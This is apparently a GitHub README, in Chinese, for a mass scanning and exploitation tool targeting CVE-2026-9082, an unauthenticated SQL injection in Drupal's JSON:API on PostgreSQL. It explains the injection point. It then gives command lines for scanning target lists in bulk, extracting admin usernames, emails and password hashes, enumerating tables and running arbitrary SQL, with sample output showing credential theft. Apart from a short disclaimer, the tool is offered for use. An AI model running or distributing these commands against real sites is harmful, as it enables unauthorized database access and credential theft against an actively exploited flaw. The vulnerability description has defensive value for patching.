ridhinva/CVE-2026-9082

GitHub: ridhinva/drupal-jsonapi-sqli-scanner

CVE-2026-9082 的批量扫描与利用工具,用于检测 Drupal 核心中通过 JSON:API filter 参数触发的未认证 SQL 注入漏洞(PostgreSQL 后端)。

Stars: 1 | Forks: 1

CVE-2026-9082 Critical CISA KEV Affected Versions License

CVE-2026-9082 — Drupal PostgreSQL SQL 注入

批量扫描与利用工具

Drupal 核心中的未认证 SQL 注入(PostgreSQL)
通过 PDO 占位符名称滥用实现 JSON:API filter 数组键注入

## 概述 **CVE-2026-9082** 是 **Drupal 核心** 中的一个 **极高严重性** SQL 注入漏洞,影响所有使用 **PostgreSQL 后端** 且运行 Drupal **8.0 至 11.3.9** 版本的站点。该漏洞已于 **2026-05-22** 被列入 **CISA 已知被利用漏洞 (KEV) 目录** 中 —— 正在被野外积极利用。 ### 影响 | 严重性 | CVSS | 需要认证 | 攻击向量 | |--------|------|----------|----------| | 严重 | 9.8+ | 不需要 | HTTP (JSON:API) | - **数据泄露** — 提取数据库、用户、密码哈希 - **权限提升** — 创建管理员账户、修改内容 - **远程代码执行** — 在某些配置下可通过 `pg_exec()` 或 `COPY ... PROGRAM` 实现 ### 受影响版本 | 状态 | 版本 | |------|------| | ❌ 受影响 | Drupal 8.0.0 → 11.3.9(PostgreSQL 后端) | | ✅ 已修复 | 11.3.10, 11.2.12, 10.6.9, 10.5.10 | ### 工作原理 漏洞存在于 `core/modules/pgsql/src/EntityQuery/Condition.php` 中。`translateCondition()` 方法使用了来自 JSON:API filter 参数的 **用户可控数组键** 来构造 PDO 占位符名称。PDO 只将 `[a-zA-Z0-9_]` 解析为占位符名称,因此任何在 `)` 之后的内容都会成为注入到查询中的 **字面 SQL**。 ``` JSON:API Filter → array key with SQL → PDO placeholder truncation → SQL injection ``` ## 功能 - ✅ **批量扫描器** — 并发扫描数百个目标 - ✅ **单目标模式** — 检查单个 Drupal 站点 - ✅ **基于时间的检测** — `pg_sleep()` 盲 SQLi 确认 - ✅ **基于布尔的检测** — 行数比较 - ✅ **版本提取** — 识别 PostgreSQL 版本 - ✅ **数据库信息** — 提取当前用户和数据库名称 - ✅ **管理员凭据提取** — 用户名、邮箱、密码哈希(uid=1) - ✅ **列出表** — 枚举所有 public 表 - ✅ **自定义 SQL 查询** — 运行任意提取查询 - ✅ **代理支持** — 通过 Burp Suite 等工具路由 - ✅ **输出到文件** — 保存批量扫描结果 - ✅ **彩色终端输出** — 结果易读 ## 安装 ### 前置条件 - Python 3.8+ - `pip`(Python 包管理器) ### 安装依赖 ``` # 克隆 repo git clone https://github.com/ridhinva/CVE-2026-9082.git cd CVE-2026-9082 # 安装 requirements pip install requests ``` 就这些!只需要一个依赖 —— `requests`。 ## 使用方法 ### 🕵️ 检查单个目标 ``` python3 cve_2026_9082_scanner.py -u https://target.com --check ``` ### 📡 批量扫描多个目标 ``` python3 cve_2026_9082_scanner.py -f targets.txt ``` **`targets.txt` 格式:** ``` https://target1.com target2.com 192.168.1.100 ``` ### 🔓 提取 PostgreSQL 版本 ``` python3 cve_2026_9082_scanner.py -u https://target.com --version ``` ### 🗄️ 提取数据库信息 ``` python3 cve_2026_9082_scanner.py -u https://target.com --dbinfo ``` ### 👤 提取管理员凭据(uid=1) ``` python3 cve_2026_9082_scanner.py -u https://target.com --admin ``` ### 📋 列出所有表 ``` python3 cve_2026_9082_scanner.py -u https://target.com --tables ``` ### 💉 自定义 SQL 查询 ``` python3 cve_2026_9082_scanner.py -u https://target.com --query "SELECT usename FROM pg_catalog.pg_user" ``` ### 将结果保存到文件 ``` python3 cve_2026_9082_scanner.py -f targets.txt -o results.txt ``` ### 使用代理(Burp Suite) ``` python3 cve_2026_9082_scanner.py -u https://target.com --check --proxy http://127.0.0.1:8080 ``` ### 自定义超时设置 ``` # 增加 time-based detection 的 sleep time (默认: 5s) python3 cve_2026_9082_scanner.py -u https://target.com --check --delay 10 # 增加 slow targets 的 HTTP timeout (默认: 30s) python3 cve_2026_9082_scanner.py -u https://target.com --check --timeout 60 ``` ## 命令参考 | 标志 | 描述 | |------|------| | `-u, --url` | 单个目标 URL | | `-f, --file` | 包含目标的文件(每行一个) | | `-o, --output` | 将扫描结果保存到文件 | | `--check` | 检查目标是否易受攻击 | | `--version` | 提取 PostgreSQL 版本 | | `--dbinfo` | 提取数据库用户和数据库名称 | | `--admin` | 提取 Drupal 管理员凭据(uid=1) | | `--tables` | 列出所有数据库表 | | `--query` | 自定义 SQL 提取查询 | | `--threads` | 批量扫描时的线程数(默认:20) | | `--timeout` | HTTP 请求超时(默认:30 秒) | | `--delay` | 检测时 pg_sleep 的延迟(默认:5 秒) | | `--no-ssl-verify` | 跳过 TLS 证书验证 | | `--proxy` | HTTP 代理(例如 http://127.0.0.1:8080) | ## 示例输出 ### 易受攻击目标 ``` ╔══════════════════════════════════════════════════════════════╗ ║ CVE-2026-9082 - Drupal PostgreSQL SQLi ║ ║ Mass Scanner + Exploitation Tool v1.0.0 ║ ╚══════════════════════════════════════════════════════════════╝ CISA KEV: Added 2026-05-22 | Advisory: SA-CORE-2026-004 [*] Checking: https://vulnerable-drupal-site.com [!!] VULNERABLE - https://vulnerable-drupal-site.com Method: time-based (+5.2s) Resource: node/article ``` ### 管理员凭据提取 ``` [+] username: admin [+] email: admin@example.com [+] pass_hash: $S$E8gJ8yJ8...hashed_password... ``` ## 参考 | 来源 | 链接 | |------|------| | Drupal 安全公告 | [SA-CORE-2026-004](https://www.drupal.org/sa-core-2026-004) | | CISA KEV | [CVE-2026-9082](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) | | 补丁提交 | [ea9524d9](https://git.drupalcode.org/project/drupal/-/commit/ea9524d9) | | NVD 条目 | [CVE-2026-9082](https://nvd.nist.gov/vuln/detail/CVE-2026-9082) | | 发现者 | Michael Maturi | ## ⚠️ 免责声明 **本工具仅用于授权安全测试、教育目的和道德研究。** 未经授权访问计算机系统是违法的。作者不承担任何责任,也不对本程序造成的任何误用或损害负责。 ## 作者 **Ridhin V A** ([@ridhinva](https://github.com/ridhinva)) — 漏洞赏金猎人 & 安全研究员

创建原因:CISA KEV 指出该漏洞正在野外被利用。请修补您的 Drupal 站点。

标签:CISA KEV, CISA项目, CVE-2026-9082, DOE合作, Drupal, JSON:API, PostgreSQL, 协议分析, 无服务器架构, 未认证漏洞, 权限提升, 编程工具, 远程代码执行, 逆向工具